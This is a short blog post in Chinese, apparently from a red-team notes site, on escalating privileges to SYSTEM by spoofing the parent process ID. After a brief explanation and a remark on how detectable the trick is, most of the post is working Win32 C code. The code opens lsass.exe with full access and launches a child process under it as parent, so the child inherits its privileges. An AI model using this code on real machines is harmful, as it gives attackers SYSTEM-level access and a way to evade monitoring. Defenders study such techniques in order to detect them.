idiotc4t's blog
搜索文档…
防御逃避
代码与进程注入
权限提升
通过伪装PPID提权到SYSTEM
PPID-Priv
简介
在指定父进程句柄的时候,子进程同时也会继承父进程的权限，这样的话我们也可以通过伪装PPID的方式进行提权，但是这样的技术会有一个较大的缺陷，如果使用process explorer等进程监控软件查看的话会显示在系统权限的进程下派生出了一个子进程，这样会有较大的特征,更容易会被发现，当然也可以通过其他技术手段进行为伪装。
ps:需要管理员权限
代码实现
1
STARTUPINFOEX sie = { sizeof(sie) };
2
PROCESS_INFORMATION pi;
3
SIZE_T cbAttributeListSize = 0;
4
PPROC_THREAD_ATTRIBUTE_LIST pAttributeList = NULL;
5
HANDLE hParentProcess = NULL;
6
DWORD dwPid = 0;
7
8
dwPid = FindProcessPID(L"lsass.exe");
9
10
InitializeProcThreadAttributeList(NULL, 1, 0, &cbAttributeListSize);
11
pAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, cbAttributeListSize);
12
InitializeProcThreadAttributeList(pAttributeList, 1, 0, &cbAttributeListSize);
13
hParentProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
14
UpdateProcThreadAttribute(pAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(HANDLE), NULL, NULL);
15
16
sie.lpAttributeList = pAttributeList;
17
CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, (LPSTARTUPINFOA)&sie.StartupInfo, &pi);
18
19
DeleteProcThreadAttributeList(pAttributeList);
20
CloseHandle(hParentProcess);
Copied!
LINKS
Programming reference for the Win32 API - Win32 apps
docsmsft